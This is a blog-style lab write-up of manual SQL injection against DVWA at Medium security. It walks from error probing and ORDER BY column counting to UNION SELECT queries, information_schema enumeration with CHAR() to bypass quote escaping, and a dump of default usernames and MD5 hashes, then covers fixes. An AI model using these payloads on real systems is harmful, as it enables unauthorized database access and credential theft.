1.September 15, 2026
DVWA Medium SQL Injection: Breaking the Query One Step at a Time ๐๐ป
โItโs just a number field. What could possibly go wrong?โ

By zero_day
8 min read
"It's just a number field. What could possibly go wrong?"
Famous last words. ๐
In this lab, I worked through SQL Injection at the Medium security level in Damn Vulnerable Web Application (DVWA).
The goal wasn't to copy a payload from a cheat sheet, paste it into the box, and celebrate.
I wanted to understand the thought process:
What is the application doing? Where is my input going? What can I prove? And what can I extract from that information?
By the end, we went from:
11to:
database โ tables โ columns โ users โ password hashesdatabase โ tables โ columns โ users โ password hashesAnd we did it manually.
โ ๏ธ Lab only: Everything in this article was performed against my local DVWA installation. Never test SQL injection against a system unless you have explicit authorization.
๐งฉ The Setup
The vulnerable page gives us an input field where we can submit a user ID.
A normal request looks innocent enough:
ID: 1ID: 1The application responds:
ID: 1
First name: admin
Surname: adminID: 1
First name: admin
Surname: adminNORMAL REQUEST
So far, nothing exciting.
Just a normal application doing normal application things.
Time to annoy it. ๐
๐ Before We Attack: What Does the Vulnerable Code Actually Look Like?
This is the part I think is worth showing before throwing payloads at the application.
At the Medium security level, DVWA's vulnerable SQL logic is essentially:
$id = $_GET['id'];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$getid = "SELECT first_name, last_name
FROM users
WHERE user_id = $id";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid);$id = $_GET['id'];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$getid = "SELECT first_name, last_name
FROM users
WHERE user_id = $id";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid);The interesting line is:
WHERE user_id = $idWHERE user_id = $idNotice the important detail:
$id is inserted directly into the SQL statement.
There are no quotes around it because the application expects a numeric ID.
So if the application receives:
11the database effectively sees:
SELECT first_name, last_name
FROM users
WHERE user_id = 1SELECT first_name, last_name
FROM users
WHERE user_id = 1But if we supply:
1 OR 1=11 OR 1=1the resulting SQL becomes conceptually:
SELECT first_name, last_name
FROM users
WHERE user_id = 1 OR 1=1SELECT first_name, last_name
FROM users
WHERE user_id = 1 OR 1=1And now our input isn't merely data anymore.
It's influencing the SQL logic itself.
That's the vulnerability.
VULNERABLE PHP CODE
๐ค Waitโฆ Doesn't mysqli_real_escape_string() Fix SQL Injection?
This is where things get interesting.
The code does call:
mysqli_real_escape_string()mysqli_real_escape_string()So why are we still able to manipulate the query?
Because escaping is context-dependent, and here the application is treating the value as a numeric SQL expression rather than putting it inside a quoted string.
The important lesson isn't:
"Escaping is always useless."
It's:
Don't rely on escaping as your primary SQL injection defense.
The robust solution is to use parameterized queries / prepared statements and keep user input separate from SQL syntax.
We'll come back to the fix at the end.
๐ 1. Is the Input Actually Going Into SQL?
The first test was deliberately simple:
1'1'Instead of the normal response, the application returned a MySQL syntax error:
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right
syntax to use near '\'' at line 1You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right
syntax to use near '\'' at line 1SINGLE QUOTE ERROR
This tells us something interesting.
The backend is talking to MySQL, and our input is interacting with the SQL expression.
But there is another clue hiding in the error:
\'\'The application is escaping the single quote.
So rather than immediately trying to force a string-based SQL injection, let's ask a better question:
What happens if the input is treated as a number?
๐ง 2. Let's Mess With the Logic
I tested:
1 AND 1=11 AND 1=1The application returned the normal record.
Then:
1 AND 1=21 AND 1=2No record.
Interesting.
We just made the application behave differently depending on whether our condition was true or false.
Then came the classic:
1 OR 1=11 OR 1=1Suddenlyโฆ
๐ฅ Everybody gets invited to the party.
The application returned multiple users:
admin
Gordon Brown
Hack Me
Pablo Picasso
Bob Smith
useradmin
Gordon Brown
Hack Me
Pablo Picasso
Bob Smith
userOR 1=1
At this point our working model of the backend query looked something like:
SELECT first_name, last_name
FROM users
WHERE user_id = <our input>SELECT first_name, last_name
FROM users
WHERE user_id = <our input>Notice something important.
Our input doesn't appear to be inside quotes.
We're dealing with a numeric SQL context.
That little observation is going to save us a lot of headaches later.
๐งฎ 3. How Many Columns Are We Dealing With?
Before using UNION, we need to know how many columns the original query returns.
So I started counting.
First:
1 ORDER BY 11 ORDER BY 1Works.
Then:
1 ORDER BY 21 ORDER BY 2Also works.
Okayโฆ
1 ORDER BY 31 ORDER BY 3๐ฅ Error.
The application reported an error similar to:
Unknown column '3' in 'order clause'Unknown column '3' in 'order clause'ORDER BY 3 ERROR
So our little experiment gives us:
ORDER BY 1 โ โ
ORDER BY 2 โ โ
ORDER BY 3 โ โORDER BY 1 โ โ
ORDER BY 2 โ โ
ORDER BY 3 โ โTherefore:
The original query returns 2 columns.
This matters because a UNION SELECT needs a compatible number of columns.
Time to see if we can join our own query to the original one.
๐งช 4. UNION โ Now Things Get Interesting
Our first UNION test:
1 UNION SELECT 1,21 UNION SELECT 1,2Andโฆ
It worked.
The application displayed:
First name: 1
Surname: 2First name: 1
Surname: 2UNION SUCCESS
This is a big moment.
We now know:
Original query โ 2 columns
โ
UNION SELECT โ 2 columns
โ
Column 1 โ First name
Column 2 โ SurnameOriginal query โ 2 columns
โ
UNION SELECT โ 2 columns
โ
Column 1 โ First name
Column 2 โ SurnameBoth output positions are under our control.
So instead of putting boring numbers thereโฆ
What if we ask the database to tell us something useful?
๐๏ธ 5. Who Are You, Database?
MySQL gives us useful functions for identifying the current database and version.
So I tried:
1 UNION SELECT database(),version()1 UNION SELECT database(),version()The response:
First name: dvwa
Surname: 5.1.41-3ubuntu12.6-logFirst name: dvwa
Surname: 5.1.41-3ubuntu12.6-logDATABASE + VERSION
Now we know:
Database โ dvwa
DBMS โ MySQL
Version โ 5.1.41Database โ dvwa
DBMS โ MySQL
Version โ 5.1.41We're no longer just proving that SQL injection exists.
We're starting to map the database.
๐บ๏ธ 6. Let's Map the Database
The obvious question now:
What tables exist?
Instead of guessing table names, MySQL provides metadata through:
information_schemainformation_schemaI queried the table metadata:
1 UNION SELECT table_name,table_schema
FROM information_schema.tables
WHERE table_schema=database()1 UNION SELECT table_name,table_schema
FROM information_schema.tables
WHERE table_schema=database()The application returned:
guestbook
usersguestbook
usersTABLE ENUMERATION
Our database map is starting to look like this:
dvwa
โโโ guestbook
โโโ usersdvwa
โโโ guestbook
โโโ usersAnd honestlyโฆ
users looks way more interesting than guestbook. ๐
๐ฌ 7. What's Inside the users Table?
Finding a table is only half the job.
Now we need to know what columns it contains.
MySQL's metadata again comes to the rescue:
information_schema.columnsinformation_schema.columnsBut remember our earlier problem?
The application escapes single quotes.
So instead of:
WHERE table_name='users'WHERE table_name='users'I used:
WHERE table_name=CHAR(117,115,101,114,115)WHERE table_name=CHAR(117,115,101,114,115)If you're wondering what the heck that means, don't worry.
CHAR() converts character codes into text:
117 โ u
115 โ s
101 โ e
114 โ r
115 โ s117 โ u
115 โ s
101 โ e
114 โ r
115 โ sTherefore:
CHAR(117,115,101,114,115)CHAR(117,115,101,114,115)becomes:
usersusersNo quote required.
The resulting query:
1 UNION SELECT column_name,table_name
FROM information_schema.columns
WHERE table_name=CHAR(117,115,101,114,115)1 UNION SELECT column_name,table_name
FROM information_schema.columns
WHERE table_name=CHAR(117,115,101,114,115)returned six columns.
COLUMN ENUMERATION
The table structure:
users
โโโ user_id
โโโ first_name
โโโ last_name
โโโ user
โโโ password
โโโ avatarusers
โโโ user_id
โโโ first_name
โโโ last_name
โโโ user
โโโ password
โโโ avatarAnd now we have arrived at the interesting part.
There is a column called:
passwordpassword๐
๐ 8. The Final Query
At this point we know:
Database โ dvwa
Table โ users
Columns โ user
passwordDatabase โ dvwa
Table โ users
Columns โ user
passwordAnd we know our UNION needs exactly two columns.
So let's put the pieces together:
1 UNION SELECT user,password FROM users1 UNION SELECT user,password FROM usersAnd the application gives us:
admin โ 21232f297a57a5a743894a0e4a801fc3
gordonb โ e99a18c428cb38d5f260853678922e03
1337 โ 8d3533d75ae2c3966d7e0d4fcc69216b
pablo โ 0d107d09f5bbe40cade3de5c71e9e9b7
smithy โ 5f4dcc3b5aa765d61d8327deb882cf99
user โ ee11cbb19052e40b07aac0ca060c23eeadmin โ 21232f297a57a5a743894a0e4a801fc3
gordonb โ e99a18c428cb38d5f260853678922e03
1337 โ 8d3533d75ae2c3966d7e0d4fcc69216b
pablo โ 0d107d09f5bbe40cade3de5c71e9e9b7
smithy โ 5f4dcc3b5aa765d61d8327deb882cf99
user โ ee11cbb19052e40b07aac0ca060c23eeCREDENTIAL DATA EXPOSED
And there it is.
A simple ID parameter led us all the way to credential-related data.
๐งฉ Let's Rewind the Attack
Here's the entire process:
โโโโโโโโโโโโโโโโโโโโ
โ Input: 1 โ
โโโโโโโโโโฌโโโโโโโโโโ
โ
Test SQL behavior
โ
Confirm injection
โ
Identify SQL context
โ
ORDER BY tests
โ
2 columns
โ
UNION SELECT 1,2
โ
Control both outputs
โ
database() / version()
โ
Database: dvwa
โ
information_schema.tables
โ
guestbook + users
โ
information_schema.columns
โ
Find user + password
โ
Extract password hashesโโโโโโโโโโโโโโโโโโโโ
โ Input: 1 โ
โโโโโโโโโโฌโโโโโโโโโโ
โ
Test SQL behavior
โ
Confirm injection
โ
Identify SQL context
โ
ORDER BY tests
โ
2 columns
โ
UNION SELECT 1,2
โ
Control both outputs
โ
database() / version()
โ
Database: dvwa
โ
information_schema.tables
โ
guestbook + users
โ
information_schema.columns
โ
Find user + password
โ
Extract password hashesThe important thing is that no single payload solved the lab.
Each test answered a question.
๐ง What I Actually Learned
1. Don't blindly throw payloads
Instead of:
"Let's try this huge SQLi payload I found online."
Think:
"What question am I trying to answer?"
For example:
AND 1=1AND 1=1asks:
Does a true condition behave differently?
ORDER BY 3ORDER BY 3asks:
Does the query have at least three columns?
UNION SELECT 1,2UNION SELECT 1,2asks:
Can I append another two-column SELECT?
That mindset is much more useful than memorizing payloads.
2. Error messages can leak useful information
The initial MySQL error immediately gave us clues about:
- The database technology
- How the input was being processed
- The fact that quotes were being escaped
Errors aren't always just annoying.
Sometimes they're breadcrumbs. ๐
3. Understand the application's SQL context
This was one of the biggest lessons.
The input behaved like it was entering:
WHERE user_id = <input>WHERE user_id = <input>rather than:
WHERE user_id = '<input>'WHERE user_id = '<input>'That difference completely changes how we approach the injection.
4. information_schema is basically the database's map
Once we knew MySQL was being used, information_schema gave us a structured way to discover:
databases
โ
tables
โ
columns
โ
datadatabases
โ
tables
โ
columns
โ
dataInstead of guessing.
๐ก๏ธ So How Would You Fix This?
The proper defense isn't:
"Let's block
UNION."
Attackers can use many different SQL techniques.
The application should prevent user input from becoming part of the SQL syntax in the first place.
The primary defense is parameterized queries / prepared statements.
Instead of constructing SQL by concatenating user input, the application should separate the SQL statement from the supplied value.
Other useful defenses include:
- Input validation
- Least-privilege database accounts
- Avoiding unnecessary database permissions
- Safe error handling
- Security testing during development
And passwords should never be stored using weak legacy hashing such as unsalted MD5. Modern password storage should use a dedicated password-hashing algorithm designed for passwords, with appropriate work factors and salts.
๐ฏ Final Takeaway
The biggest lesson from this lab wasn't:
"I learned a UNION payload."
It was:
SQL injection is a process of asking questions.
We started with:
What does 1 do?What does 1 do?Then:
Can I influence the logic?Can I influence the logic?Then:
How many columns exist?How many columns exist?Then:
Can I control the output?Can I control the output?Then:
Which database am I talking to?Which database am I talking to?Then:
What tables exist?What tables exist?Then:
What columns exist?What columns exist?And finally:
What sensitive data can I access?What sensitive data can I access?That's the difference between copying SQLi payloads and actually understanding SQL injection.
And now that we've done the whole thing manuallyโฆ
๐ Next stop: SQLmap.
Because manually enumerating every piece of a database is a fantastic way to learn.
Doing it 500 times?
Yeahโฆ
I'll let the robot handle that part. ๐